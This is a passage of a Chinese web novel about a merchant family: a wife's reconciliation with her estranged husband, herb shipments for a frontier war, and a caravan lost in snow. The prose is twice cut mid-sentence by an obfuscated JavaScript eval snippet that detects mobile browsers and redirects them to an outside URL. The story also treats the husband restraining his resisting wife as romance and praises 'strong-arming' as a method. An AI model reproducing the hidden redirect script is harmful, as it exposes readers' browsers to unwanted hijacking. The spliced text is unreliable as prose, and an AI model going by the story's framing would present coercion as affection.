当然了，这些哪里是给苏晗的，全部都是薛家少夫人的份例。她苏晗不过一个披着少夫人皮囊之人。没了这层皮囊，没了这个身份，她苏晗对薛家一无是处。对薛启原又能算什么？ 苏晗打算骑着这匹马一走了之，去南边寻祖父。爷孙相守，哪怕耕田采桑，日子也能过下去。 她在山中奔了许久，又绕着城外转了许久。可不味为何，每南行一步，心中便空半分，心中每空半分，原本的委屈不解，便会被酸楚钝痛挤占。 日暮时分，苏晗却持缰出现在薛家门外。 薛家上下，包括所有铺面、酒肆、茶楼，有一个算一个，满城、满山去寻人。门房小厮看见少夫人回来，就像亲眼见到显灵的菩萨，一个头长长磕下去。 “少夫人，您总算回来了。家里都已经找疯了！两位公子和孟庄两位公子亲自带人找您呐！” 苏晗没说什么，翻身下马，将缰绳交与那小厮，抬脚进了西院。 墨儿正伏在榻上哭得两眼红肿，一把短剑握在手里。 她家姑娘今日如果有个三长两短，墨儿绝不独活，发了狠定将这薛家搅个天翻地覆，再一根白绫吊死，去地下陪她家姑娘。 苏晗放重脚步，斗篷摘了搭在门旁衣架子上。 “墨儿，去打盆水来。让小厮将那些等着回话的掌事掌柜的们都叫来。还有那几个等在城中听信儿的管庄人，也一并叫了来。” 苏晗理了理衣襟，抽出丝帕擦去手上的雪水：“怎么这般看我，不认识你家姑娘了？快去打水呀。” 外头第一个来回话的，是南北货行的周掌柜。他年岁长些，经的事多，比旁人也更能压得住事。 少夫人消失这半日，满府城都疯了，再找不到人，就要报官掘地了。可少夫人又自己回了来，众人拿捏不准回话分寸，若再一不小心言语有失冲撞了少夫人，自己抵上全部身家也不够谢罪的呀。 周掌柜进门前先深吸一口气，回话声量比往常要低：“少夫人安。北边抢回的那批货，并无缺失遗漏，逐一记录造册后已经上架在售了。跟货的活计回家去修整几日，过几天会安排到各处铺子里，暂时不派往外地。” 苏晗和素日并无两样，身着家常窄袖衣衫，端坐榻上，边听人回话边用银针拨弄手炉里的炭灰。 周掌柜原地站了会儿，不见苏晗有任何表示，以为对方累了，正想问是否让等着回话的掌事们明日再来，却见苏晗盖上手炉，缓缓道：“你回去安排下人手和铺子陈列。这个月会给到你300斤玉片。” 一听300斤，周掌柜一扫方才心间愁云，脸上立马有了笑模样，声调也轻快不少：“多谢少夫人！终于盼来了玉片，我这就回去安排，这就去！不过少夫人，我当时报的是400斤……” “等产量上来了自是要500斤也有的。不急于这一时。” 其他掌事陆续进来回事，苏晗将玉片之事交代给铺子掌柜，又向几个管庄人特意强调了下这金玉满堂对薛家之重要：“有了这门营生，庄子上富裕劳力有个好去处，既方便你们管理，又人人得些银钱，多方有益。今后若让我听到有闹事不安分的，这金玉满堂的营生立时换去别处。” “大公子来了！大公子来了！” 议事厅内正说着话，有腿脚快的小厮一路从正门报进来，甚至还慌慌张张报进了西跨院。 墨儿将那小厮拦住：“这里是薛家。薛家大公子回家，慌什么！” “墨儿姐姐，大公子……大公子他正往西院来。” 墨儿一听，心内跟着一沉，忙转身回屋报与她家姑娘。 二人分院别居以来，薛启原从未踏入过西院半步。 端坐榻上的苏晗一下站起身，眉眼间明显有些情绪浮动，不过这种情绪很快就压下去，她仍云淡风轻坐回榻上，给墨儿递了个眼神。 墨儿会意，带了几个小丫头出去。袖子里拢着她那把短剑。 若非今日苏晗失踪半日，薛启原或许从不会知道什么是恐惧，什么是害怕。他也是第一次体会到六神无主是何滋味。离家几百米的一条街，来来回回跑了无数遍，愣是找不到回家的路口。 他脑中一片空白，发疯了似地在山中狂驰，在街上遍寻，看到有几分像的身影就追上前，也顾不得什么体面什么守礼。时不时又有一些奇怪的、不好的、不可控的念头蹦出来。 薛启原被家丁寻到时，他正焦头烂额、毫无头绪地在街上打转，猛地听说少夫人回家了，还当是众人哄自己。 “大公子，少夫人当真回家了，正在西院和掌事们议事。您若不信， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264489|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去瞧一眼就是了！” 他调转马头时才发现，自己牵缰引辔的手，正不听使唤地抖着。 直到看见墨儿等人守在西院门口，怒目冲冲看着自己，薛启原那颗心才算真正放下来。他知道他的晗儿，确实回来了。 薛启原暗暗松了口气，恢复素日家主的神态，表情清冷：“我……同少夫人说句话。” “我家姑娘正在议事厅商议正事，恐不得空见大公子。”墨儿拦在当路，并未动。 一个陪嫁丫头，敢拦家主的去路，真是反了天了。薛启原身边小厮准备上前帮他家大公子开路，却被薛启原抬手制止了。 墨儿也是个刚烈性子，见状，直接将袖中之剑抽出来。 薛启原眸心一沉，他原本还想着少夫人派贴身侍女来拦想必还在气头上，不想此时见他。那他便回去，等晗儿气消一消，再来将话说开也是一样的。 可她让侍女持剑来拦自己。难道……难道是想与我断了？面对骆家围剿血洗眼睛都不会眨一下的薛启原，此时心中却乱了阵脚。 他不能等了。也不想等了。 薛启原忽然想起薛启辰跟他说的什么巧取豪夺，虽当时弟弟说得也不甚明白。旧病乱投医，试上一试，万一真能派上用场呢。 薛启原一招轻松下了墨儿的剑，随手扔给身边近侍，正色吩咐小厮：“再去传！” 议事厅外等着回事的掌事掌柜见薛启原来了，忙恭敬垂手立于一旁。自从跟了少夫人之后，他们几乎就没在薛家见过薛启原的面。个个心中自是诧异，面上却不敢显露半分。 薛启原边走边微微整理下衣襟，等不及别人迎出来，自己掀帘子跨进厅内。外间站了几个掌事的，也都垂手而立。听薛启原进来，方才里间正回事的掌柜也忙停下。 薛启原绕过一架湘妃竹落地屏风，迎面便见苏晗端坐于榻上，细细翻看一旁矮几上的账册。蜜合色窄袖锦袄，下身拖着一条丁香色撒花长裙，烛光轻轻抚上她的眉眼，还似从前那般温柔。宛若从前的晗儿，那个属于他的晗儿，又回来了。 薛启原喉间一哽，虽只寻了半日，再见，却像隔了半生那么久远。他不觉向前迈了两步，刚想说什么，却撞上苏晗投过来的视线，冰冷冷，带着恨意。 苏晗对眼前的不速之客并无半分诧异，也没起身，语气带着漫不经心：“大公子好大的威风！不仅将我的侍女全拦在外面，还私闯我议事厅。只是不知大公子这么大阵仗过来，有何指示？” 薛启原稍稍侧身，对房内其他人道：“你们先出去。我有话，同少夫人说。” 家主发话，众人正要逃也似往外撤，却听苏晗道：“慢！正事还未议定，若谁现在走了，今后便不必来了。” 众人为难地堆在外间，你看看我，我看看你，大气也不敢喘，只能用眼神无声且急切地交流。等了半日，里间也无半分动静，如同被时间冰冻了一般。 一筹莫展之际，薛启原走了出来，脸色不算好，朝外吩咐：“外头若有回话的，直接传到西院花厅。今晚，大公子不走了。” 96. 第 96 章 天渐渐暗下来，薛启原让人在花厅外间燃了一只羊角灯。 不时，小厮抬进来一个大炭盆，薛启原看了近侍一眼，近侍会意忙让人原封退了出去。 花厅与苏晗此时所在的议事厅，分列西院东西两个厢房，平时也承载藏书斋的功能。苏晗喜好书籍字画等，有不少名家珍藏，多置于此花厅的里间。 趁外面掌事来回话的空档，近侍从东院拿了一只手炉回来：“大公子，这花厅比不得暖阁，尤其夜里冷得紧，不放炭盆如何受得住。或者就在外间给您放一个？” 薛启原接了手炉。这手炉套子还是刚成亲那会儿，苏晗亲手给他做的。一用几年，颜色褪淡了不说，有几处还磨出了毛边。当家家主的自然不缺人做手炉套子，而且材质更好、样式更新。但薛启原的脾气和他的下颌线一样坚毅，只用手上这个。 “这花厅字画名贵，熏不得炭气。”薛启原看了近侍一眼，那近侍便不敢多言。薛家内宅不成文的规定，凡事以少夫人需求为上，哪怕是束之高阁的字画，优先级也在家主一时冷暖之前。 这不公平。 年轻气盛的小厮，觉得大公子这般，太过委屈。稍微有点年纪、已成了家的仆役则笑着摇头：“你懂什么，这叫一个愿打一个愿挨。” 一时到了晚间，墨儿将熏笼上熏过的被褥亲自铺好，又在床上放了两个汤婆子，来灯下为她家姑娘卸钗梳发。 “上夜的都巡视过了？”苏晗将摘下的珍珠耳环拿在手上，视线不时往窗外偏一下。 墨儿将一支累丝攒珠钗收进妆奁匣子：“各处都巡过了。他们知道的，天干物燥加上这会儿又有些起风，夜间用明火的地方，都格外小心查看。这会子院门也关了。” “起风了？”苏晗借机走到窗前。 “今天比昨儿还冷些。”墨儿自然知道她家姑娘所指，心中叹了半口气，“人就在小花厅。熄了灯，想必是睡下了。” “都谁跟着？”隔着窗户朝花厅看去的目光忙收回来，像被烫了一下。 “没人跟着。听说有近侍要留下还被骂了，说这是少夫人的院子，有什么不放心的。” 苏晗拢了拢披在身上的衣衫，若无其事坐在床边愣了一会儿：“知道了，你也去睡吧。” 东西两院，今晚格外安静，静到窗外桂树在风中瑟缩抖动之声都听得一清二楚。 苏晗在枕上翻了个身。一夜辗转。 第二天一早，苏晗刚起来，就有一群内宅婆子在外面等着回话。墨儿捡着急要紧的，帮着报进来。 早饭摆在议事厅外间。粳米粥和几样精致小菜，还有早起去南市买回的一小碟栗子糕。 “这栗子糕二公子喜欢，给他留好。” 墨儿应着，又说：“听晨起进去洒扫的婆子说，花厅冷得像冰窖，只有一床暖阁里用的薄被子。” 苏晗将拿起的汤匙又放下：“怎么会？花厅不算大，哪怕只用一个炭盆，也不至于冷成这般。” “没用炭盆。说里面都是姑娘珍藏的字画，过了炭气不好。不过连个汤婆子也没有，平时跟着的小厮也太大意了些。” 苏晗胃口不太好，只吃了小半碗粥。 这是小厨房的掌事亲自拎了个小食盒进来，先笑着请了安，又开了食盒盖子：“现做的雪梨枇杷饮，淋了些蜂蜜，没敢弄太甜。” 墨儿不解：“昨儿并没交代做这个……” 掌事笑说：“大公子早起亲自来吩咐的，说夜里听见少夫人咳嗽了一声，特意叮嘱小的们做的。又强调初春天气干，这雪梨枇杷生津润肺正适宜。味道也好。因为枇杷膏是药铺掌柜现送来的，耽误了一点点时间。” 苏晗没表态。那送汤来的掌事一时不知该如何。 墨儿上前接过来，让人去了，自己亲自端到苏晗面前：“姑娘，花厅是冷了些。若真冻坏了人，不好跟老太太交代。或者我着人放两个炭盆进去？” “苦肉计罢了。随他吧。” 苏晗面上淡淡的。那盏雪梨枇杷饮，见了底。 院子里冷不丁多个人，苏晗有些不习惯，视线时不时向窗外偏一偏。 好在早起人就不在，说是去铺子里了，但没说何时回来。 午后回话的人多，苏晗暂时忘了这份不习惯。等她想起这个人，天已经擦黑。 掌灯时分，小花厅黑洞洞，仍是空的。一天有事无事也要来西院八百趟的薛启辰，今天也是一点消息也没有。 “上夜的都巡视过了？”苏晗坐在梳妆镜前，心不在焉地摘耳环。 “都巡过了。”墨儿跟着也往窗外看了一眼，意有所指，“大公子还没回来，东院的院门还没关。我们这边院门……” 苏晗站起身慢慢踱步，不知道在想些什么，若有若无地又往窗外小花厅方向看了两眼，过了好一会儿才说：“让上夜的再各处细看看，这几日冷，用火的地方多，走了水就麻烦了。拿两百钱，给他们打酒吃，这些时日让他们辛苦些。” “嗯。”墨儿应着，到外间交代小丫头们去传话。 苏晗也不急着睡，拿了本书在灯前翻着。入眼不入心，一页书看了一盏茶功夫。 “大公子回来了。”院门处隐隐有动静传来，听方向是去了东院。 苏晗眉头微微蹙起，手上书册哗啦啦翻了两页。甚是无趣。索性扔在桌上。一股没来由的情绪，让她莫名开始烦闷。 “姑娘睡吧。这书，咱明日闲了时再看。”墨儿复又进来里间，将床帏放下一半。 “大公子。”窗外院子里忽然传来丫头婆子问好声。 接着小花厅里的灯也亮起来。 红色烛花映在苏晗眸底，闪了两下。她忽地将书拿起，眼睛扫了几个字，似又觉不妥，便将书放下，起身走到床边。 “天不早了，你也去睡吧。”烛光映得苏晗的眸子亮亮的。 墨儿帮她家姑娘调整了下汤婆子的位置，又将床帏理好，吹了灯出来。 “墨儿姐姐，墨儿姐姐！”一个小丫头神情慌张地拉住墨儿的胳膊，极力压低声音，“不好了，刚关院门的时候，东院小厮送进来一个哥儿……” “小声些，姑娘刚睡下。”墨儿往里间看了眼，将小丫头拉远了些说话，“什么叫送进来一个哥儿？什么哥儿？送去哪了？” 小丫头往花厅方向指了指：“这个时间，能有什么哥儿，只能是那种哥儿了……” “少胡说！一定是天黑你看错了眼。” “关门的王妈妈也看见了，不信姐姐去问王妈妈。身量不算矮，但用斗篷遮得严严的。”小丫头将墨儿拉至廊下，“姐姐你听。” 小花厅灯影晃动，窗上映着两个身影，正面对面聊些什么，不时有笑声传来。 墨儿气得浑身发抖，心中大骂：“好你的薛启原，众人都道你是个正人君子，夜半往家中招妓这种没脸的事也做得出来？在我们姑娘眼皮底下，就敢如此猖狂，平时背着我们姑娘不知又做了多少偷鸡摸狗的事。” 我们姑娘背井离乡下嫁给他，这些年里里外外帮他们薛家操持，他就这般对我们姑娘！良心喂了狗了！ 墨儿气得心肺都要爆炸，一刻等不得，趁她家姑娘还没发现，她现在就去花厅捅了这个负心汉。谁敢欺辱她家姑娘，她就跟谁拼命。 墨儿转身回屋，急匆匆去取自己那把短剑，一抬头却见她家姑娘披着罩衫站在屏风前，眼睛黝黑深邃，深到似乎能吞噬一切愤怒和爱恨。 最担心的事情还是发生了。 墨儿方才凶狠气势一下散尽，担忧地搀住她家姑娘，万分勉强地挤出些笑，“姑娘……姑娘你怎么起来了？院门刚关了，我正让小雁她们也去休息。” 苏晗没看她们，径直掀起门帘，走到廊下。花厅明瓦窗上那么大、靠得又那么近两个身影……不时浅笑耳语几句。 墨儿不知道花厅的灯几时熄的。她也不知道她家姑娘侧身朝里躺着，是否入睡。但她在她家姑娘床边，寸步不离守了一夜。 苏晗比往常起得迟了些，神色倦倦的，看上去非常疲惫。 薛启原今日没有出门。 花厅外已站了好几个掌事，有等着向大公子回话的，也有等少夫人的，见苏晗出来，纷纷恭敬请安行礼。 苏晗端坐在她熟悉的议事厅榻上，下巴微微上扬。和离也好，被休也罢，那是她与薛启原之间的私事。铺子里的事情安排下去再说：“让掌事的，进来吧。” 苏晗游刃有余地处理着铺子、庄子及内宅的事情，一桩桩，一件件，有条不紊，宽严有序。 不知过了多久，听外面来报，“孟公子和庄公子来了。” 苏晗不觉起身，刚要出门去迎，却听对面花厅之人已迎了出来，从二门开始一路说笑寒暄着将夫夫二人引至花厅上。 苏晗垂眸思量片刻，把墨儿叫来：“去那屋厅上帮我向孟公子和庄公子告个罪，就说我被事情绊住了，稍后设宴赔罪。再去景楼安排个雅间。” 在场的人都清楚，少夫人这是不想拂了客人的面子，但一时又真的不想见到大公子。 不多时，庄聿白自行找过来，行了礼：“少夫人安好。琥珀来，不知是否扰了少夫人正事？” “哪里，快坐！平日想请你们来，还恐你们没时间呢。”苏晗请人倒茶，见庄聿白神色有些不对，“是出了什么事？若庄子上胆敢有人惹事，尽管告诉我！” 庄聿白有些为难，苏晗将人屏退，他才道：“去年大公子送了我们一辆马车，今日我们是来还车的……不不不，不是少夫人想的那般。车很好，我们用着也很好。是大公子一时亟需，而我们能帮的有限。” 眼下正是青黄不接的时候，边境屡遭侵犯，西境战事吃紧。粮草外，缺医少药的问题也愈发突出。去岁秋冬起，薛家已经着手加大草药收购，前些时刚有数千斤三七、蒲黄等派车队往西边运去。前方传信来，仍言不够。 战事惨烈，刀枪之伤等药物便是头等所需。再加上有些不良商家借机囤积，恶意抬价，甚至以次充好，药材缺口自然就更大了。 苏晗气得攥紧了拳：“黑了心的。将士在前线抛头颅洒热血，方换来百姓安稳、国家太平。竟有如此利益熏心、良知尽泯之徒。” “薛大公子近期各地又收购来一批药材，目前恰缺些车辆运送。正好我们家中这辆先赶了来，能多运一些是一些。” 苏晗摇摇头，压住心中的气：“前几日大公子刚帮忙从北边带回一批货。那些车辆目前还空着，他是知道的。” 庄聿白接道：“大公子确实知道，好像说是少夫人正准备向南边运送丝绸什么的。恐误了少夫人这边的商机。” 行事越发荒唐了。昨夜公然在家招妓，这是私事，姑且还能让人原谅。但大义面前，他想的竟然是贻误商机。这与那些泯灭良知的奸商又有何异？ 苏晗气得直接站起身，但庄聿白面前，她不好直接抱怨薛启原。苏晗教人传话下去，将薛家在府城的车辆全部拦下备用，有一辆算一辆。 出了议事厅，苏晗往花厅走来。等在院内的众人见状，那还了得，瞬间让出一条路。如那七夕的燕雀，给这对许久未正式碰面的夫妻，硬生生搭出一条云桥。 “少夫人来了。”早有人传话进去。 薛启原与孟知彰起身迎在门前。 苏晗与孟知彰宾主行礼问好，又招呼下人再上些果子，寒暄之后，方若有如无看了薛启原一眼，语气淡淡：“我将府城车辆都空出来了，凭大公子差遣。等将这批药材送去西边，再安排其他生意。” 薛启原应了声，不等他言谢，薛启辰从里间窜出来：“我就说长嫂最是深明大义的！” 苏晗被这位猛然出现的二公子吓了一跳，笑说，“这几日怎么没见到你，你跑哪去了？我昨儿还给你留了栗子糕。” “我昨晚就在啊，还和我兄长在小花厅住了一夜。”薛启辰略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272761|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带浮夸地环视一周，对这小花厅的居住环境，不甚满意。 “昨晚那人是你？”苏晗满眼狐疑地看看薛启辰，又看看薛启原，察觉出此事提及昨夜之事，不甚光彩，忙收了眼神。 薛启辰没注意到他长嫂的情绪变动，继续抱怨：“长嫂，你这花厅也太冷了——阿嚏——差点把我冻病了。我现在赶紧去找医馆的胡郎中给我开个方子。不过这看病的钱，要记在您账上！” 薛启辰边说边往门外走，趁人不注意，将花厅房门关了。 随着“咣当”一声，苏晗猛地回过神，此时才意识到，庄聿白夫夫等满屋子人，早不知何时离开了。 此时花厅内就只剩她与薛启原两人。 如身困陷阱的猎物，苏晗心中一惊，转身向门外走。更加当地说，向门外“逃”，不料却被薛启原抢先一步，拦了去路。 薛启原又反手将门在身后锁了。 “光天化日，大公子这是做什么？”见出不去，苏晗向后退了两步。 薛启原向前跟了两步：“晗儿，你还是在乎我的，对么？” 哼，在乎？现在说这些话，还有意义？苏晗眼神古怪地看着薛启原，心中忽地来了气。她不想跟对方再费任何唇舌，用力瞪了薛启原一眼，准备夺路而逃。 薛启原哪里肯让，直接上来擒住苏晗的手腕。 “……你！”苏晗用力挣扎，绝对力量的碾压下，奈何怎么也挣不脱，她只能用眼神威胁对方，发了狠，“大公子，自重！” 薛启原索性两只手腕都擒住，转身将人控在门上，微微俯身，直直看着对方的眼眸：“晗儿，你还是在乎我，在乎这个家的，对不对？即便再怎么生我的气，都不会不管家中之事的，对不对？” “大公子休要自作多情！” 苏晗冷笑一声，强行别过脸去，视线也拒绝和薛启原有任何交集，语气冰冷。 “你我只不过是政商联姻。既是联姻，讲究的便是利益交换。作为交换所得，我料理的这些庄子、铺面等，大公子不都作为嫁妆写在我名下了么？既算我的嫁妆，那便是我的家私。我如此贪资爱财之人，又岂能容它们日渐荒废无人料理？” 苏晗的冷言冷语中，薛启原忽然寻得答案，也有了底。他顿时松了一口气。 “自然，那些是晗儿你的嫁妆。整个西院，也是。”薛启原向前又逼近半步，声音暗哑下来，“已经住进西院的薛家大公子呢？难道他就不算了么！” “……什么？”苏晗抬起疑惑的眼眸。 薛启原打算碰瓷到底：“你要了那些铺子，要了那些庄子，要了整个西院……那我呢？你要了它们……你要不要我？” “……”苏晗哽住，整个人开始微微发抖。 心，也一下软了，像被人揪住，捧在手里，一下接一下揉着。 没得到答复，薛启原不善罢甘休，近一步逼问：“……你要不要我？” 素日矜持自重的一家之主，就这般毫无防备地说出这番话，苏晗着实有些招架不住。她更不敢看对方的眼睛，里面的缱绻柔情，多到一不小心便能将人溺死。 “……我……我哪里要得起。” 苏晗胡乱回了句，或许昨晚没休息好，她觉得自己头脑开始发昏，脚下也绵软无力起来，险些没站稳。 一只有力臂膀将人拦腰扶住，拢进怀中：“你要得起。他从来都是你的。从前是，现在是，将来更是……” 任凭怀中人如何挣扎，胸前玉拳如何捶打，薛启原自岿然不动，温柔地承接、回应妻子的无助、委屈和愤怒。 “都是我不好。是我悟性差。是我太拙笨。害晗儿误会这样久。”人前永远威严肃穆的薛启原，此时完全换了一个人，温言细语地、极致谦逊、甚至卑微地求着，“晗儿，你原谅我好不好。或者再给我一个改过自新的机会。只是，别不理我。” 苏晗像被人下了蛊，身体不再那么极力抗拒，攥紧的拳也渐渐松下来。 “要我……好不好？”薛启原继续蛊惑着。 滚烫的唇，吻上冰凉的耳垂。 苏晗浑身打了个颤，僵了片刻，旋即失神地软进薛启原怀中。 任他欺负，凭他采撷，由他逞凶。 良久。 天色渐暗。 妻子贴着自己，在怀中缓缓、滑滑地伸了个懒腰。 薛启原轻柔地将人拢紧些。 方才消耗过大，怀中人很快便在自己身下昏睡过去。薛启原知道此时人醒了，复又细细密密吻着温热细腻的额头、鼻梁、脸颊、下巴…… “谢谢晗儿，将运送丝绸的车队腾出来，向西境运送药材。不过……”薛启原一路向下吻着，“大公子我，可是牺牲色·相换来的。” “公平交易啊，大公子可真是位合格的商贾。”苏晗睁开眼睛，难得显出娇羞女儿态，食指轻拂对方的唇，柔声耍赖，“若我反悔呢？” “那大公子不介意……”薛启原握紧乱动的手指，控住手腕，缓缓压过对方头顶，“此时再牺牲一次。” 翻身上来的瞬间，薛启原脸上本就不多的笑意，登时全没了。 比方才，更凶。 * 这边，出了薛家，薛启辰亲自驾了马车将孟知彰和庄聿白往景楼带。 “我长嫂在景楼定的雅间客宴，看来只能我一人代表薛家请二人去享用咯。” 庄聿白对薛启辰挑挑眉，笑道：“我就说强取豪夺有用，你看这不成了么？” “什么强取豪夺？”孟知彰一脸认真。 “强取豪夺就是今日我兄嫂这般。二人呢，原本心中都有彼此，却不知在别扭什么。这种情况，最快最好的办法就是强取豪夺。”薛启辰认真地做着名词解释，忙又补充，“琥珀兄教我的。说这一招百试不爽。” “是么？”孟知彰面上回应薛启辰，一只手掌却在无人察觉时放上庄聿白后腰，“或许真的是个好法子。” 97. 西境 孟知彰和庄聿白此次登门，一则为促成薛启原与苏晗之事，一则确实也为草药车辆之事。前两件事既已解决，再有一件，就是薛家商队从西边带来的消息。 边境战乱，向来不是什么新闻。有战争就有负伤流血，边地对各类外伤药材等所需一直很大，所以供给也最多。但若边境一时出现缺医少药的情况，只有一种情况：战事之激烈、之持久超出预期，也超出了常态。 孟知彰在书院也听到一些消息，大都是同窗从各自消息渠道得来的，只言片语，难辨真伪。有说长公主巾帼不让须眉，屡立战功，今岁尤然。有说今岁功劳多亏了秋季跟去的这批将士，英勇善战，威猛却敌。又有“懂行人”分析，说后来将士太过不懂人情，太过出风头，西境旧部岂能不侧目？军功都让新人得了，新旧之间有的龃龉好生呢。 不过京中捷报频传倒是真的。年末新岁之交，长公主并未像往年一样回京述职，也是真的。这说明今冬战况尤为焦灼，这多少也印证了光鲜明丽的捷报背后，有着多少无法言说、难以示人的血腥与残酷。 当然王侯将相的事迹，往往为人喜闻乐道，但托起大人物功勋薄的那些的小人物的悲喜，又有几人会在意？ 云无择一去数月，大大小小的战争，诡谲多变的战场，想来是躲不过的。这个初出茅庐、无依无靠的少年郎能否习惯，又能否应付得来？ 孟知彰和庄聿白心中有些沉。不知道云无择是否平安，不知他有无受伤。他们只希望薛家运往边境的草药，云无择永远用不上。 薛启辰与夫夫二人在景楼雅间分宾主落座。 景楼掌柜亲自来奉茶，一则彰显薛家重视，再则这位老掌柜对庄聿白夫夫是由衷敬重。别的不说，单单涮锅和金玉满堂这两项，为景楼带来的名气和生意，也足够他一整年在薛家一众掌柜面前将腰杆挺得直直的。 一时客宴齐备。 根据夫夫“关系章则”，庄聿白在外不饮酒，薛启辰便将酒水换成了雪梨枇杷饮。薛启原为了哄妻子而点的这道甜饮，现在也成了景楼当季的一款主打饮品。 兄长与长嫂不在，这位薛家二少自然要冲在前边，为家中之事打点。还别说，薛启辰正经起来，还真有些乃兄风范。 薛启辰让掌柜的自去忙便是，有需要自会找他。另让人将跟去西边的两位小厮叫了进来。 常年东奔西走，两个小厮年岁虽不大，但长得人高马大，眼神清澈，肤色黝黑，体格子孔武有劲。 薛启辰给二人也各递了一盏甜饮，让二人细说在西边的见闻。 薛家生意布局不止府城，北域西境南疆都有，商队更是天南地北步履不停。 两名小厮这次所跟的商队，是去岁深秋将府城的布匹瓷器药材等物送至西边铺子，又将那边所采买的皮毛等尖物装了满满几大车运至府城，正好赶着过年时在府城货行售卖。 车队辗转至北边时，时间也近年关，千防万防还是被人拦了。对方不伤人也没抢货，就是拦着不让走。这一耽搁就是近一个月，对方目的很明确，抢薛家年关生意。这种事，也不是第一次，车队众人便想着等过了年，对方抢得府城商机，把银子赚进口袋，自然就能将他们放行了。 “可谁知年后那群人竟然起了歹意，要来毁我们的货。幸好大公子及时带人赶来，才将我们连人带货平安带回了府城……” 薛启辰见小厮啰啰嗦嗦，越扯越远，忙抬手打断：“捡重要的说，讲讲你们在西边遇到的那场雪。” 小厮忙停住：“好好，怪我，扯远了！” 车队返程时，忽然下起大雪。这雪越下越大，铺棉扯絮下了两天都没停。边地下雪很正常，但这么大的，少见。连车把式都说他长这么大，这还是头一次见这么的雪，关键边下雪，中间还边换风向。 一行人，连车带马在雪里走，也不敢停。从天黑走到天亮，又从天亮继续走到天黑。 脚印踩脚印，脚印前面是雪。雪前面，还是雪，望不到边的雪。偶有几棵风中站立的大杨树，算是让人分清了天地上下。 到第三天时，车把式首先发现不对劲：“这棵三个树杈的大白杨，三天前不就遇到了？” 众人听了，心中皆是一凛。 “您老人家……看花眼了吧？”有人弱弱跟了句，声音有些抖。 话一出口，便知心虚。这几日众人见到的树屈指可数。眼中全是空荡荡的白，加上脚下难走，能看到棵树，就像有了行走的小目标小期待。等走过这棵树，离有人家的地方就更近了一步，离能喝口热汤的时辰也更近了一步。 所以，一路走来，众人对路上遇到的每棵树都了如指掌。 眼前这棵大白杨，长成如此不规则的三个树杈，想忽略都难。尤其树顶那个乌黑的大鸟窝，三天前还有人逗乐子，赌输赢，猜这个天气有没有鸟在里面。 车把式低头抹了把脸，眼神浑浊但坚定，随着渐渐暗下去的天光，慢慢浮上了阴翳。 若明日再走不出这片雪地，供给就要见底了。没了余粮，接下来只有杀掉一匹马来充饥活命。 杀掉一匹马，就意味着将放弃一车货物。而且，一般情况下，杀第一匹，就会杀第二匹、第三匹，而且间隔的时间会越来越短。因为随着第一匹马的血液喷涌到地面，消散的不只是马的生命，更是在场所有人的精气神，和所有人努力撑在心头的那一股生存下去的盼头。 若一直原地打转，走不出去这“鬼打墙”，在场所有人面前的只剩一个字——死。 所有人都不吭声，无声的沉默越来越重，雪花压在身上越来越重。年轻的身板第一次知道，原来雪花，真的有重量，重到让人根本透不过气。 老把式抬头看看天，用脚踢了踢地上的冻土，转身从车里拽出一把干草料，火折子点着，口中念念有词一番，又向东西南北各磕了一个头。 “先走过这棵树。到前面看不到树影时，我们原地修整一晚。” 车把式发了话。众人跟着他继续向前。随着离那棵树越来越近，圈在脖子上的那根无形的绳子，便越勒越紧。 无声的绝望也越来越凸显。年纪轻没经历过事情的，大口喘着气，双腿抖得越来越离开，到后面根本迈不开步，一个跟头接一个跟头地摔着。 大家便你扯我拽地往前拖行，好不容易走过那棵树，车把式在前面发了话：“谁都不许回头！” 眼前是死寂的白雪，耳边是呼啸的冷风，心中是黑暗无边的绝望。 一行人像认了命，垂头走着，像是各自走向自己的大限终点。 四野已一片漆黑。 为节省不多的物资，车把式点了一根火把前头带路。火光幽微，时明时暗，一片丧气。 不知何时雪停了。冰冷的一轮月亮冻在天上，发着幽幽的白光。 没人敢说话，也没人敢看那轮月亮。下界的月亮，竟然也是圆的。 远处窸窸窣窣飞出来一个黑影，异常敏捷矫健。众人一下屏了呼吸，难道大限之时，真的有阴间神兽来接？ 黑影飞近，急速围着车队绕了一圈，旋即回撤，很快消失在飞来的方向。 车把式心中撑着的信念绷不住了，脚下趔趄，摔在地上，挣扎几下没爬起来。塌裂声不大，但瞬间摧毁所有人的心理防线。年岁小的已经喊着爹娘，小声呜咽起来。 神兽飞走不久，消失的方向渐渐更多声响传来。方才神兽应该是前来探路的前锋，回去报了情况，阴司地府派了更多阴差来将车队之人一并带走。 几个年岁大的，将车把式扶起来。众人彼此打气，好在大家一起，奈河桥上不孤独，二十年后又是一条好汉。 声音渐行渐近，渐近渐响。 转眼随着一声嘶鸣，一匹银色宝马猛地越出，横亘在天地间。 “你们是何人？” 马上之人，一身铠甲，月光下熠熠生辉，方才那只黑影围在白马周围跳窜。细看，放发现是一只黝黑发亮的战犬。 “二郎神！” 有人喊了一嗓子。众人方恍然大悟，眼前人雄姿英发，气贯长虹，不是二郎神又是哪个！方才一定是上天听见了他们的祈求，便派了这只啸天犬来探路。 这下有救了。 “二郎神救命！我们是东边来的商队，方才遇到了鬼打墙！二郎神发发慈悲，救我们一救！” 一行人纷纷跪地就拜。 “都住声！”一小厮上前喝止众人，“哪里来的二郎神！这是我们云校尉，都起来！别拜了！” 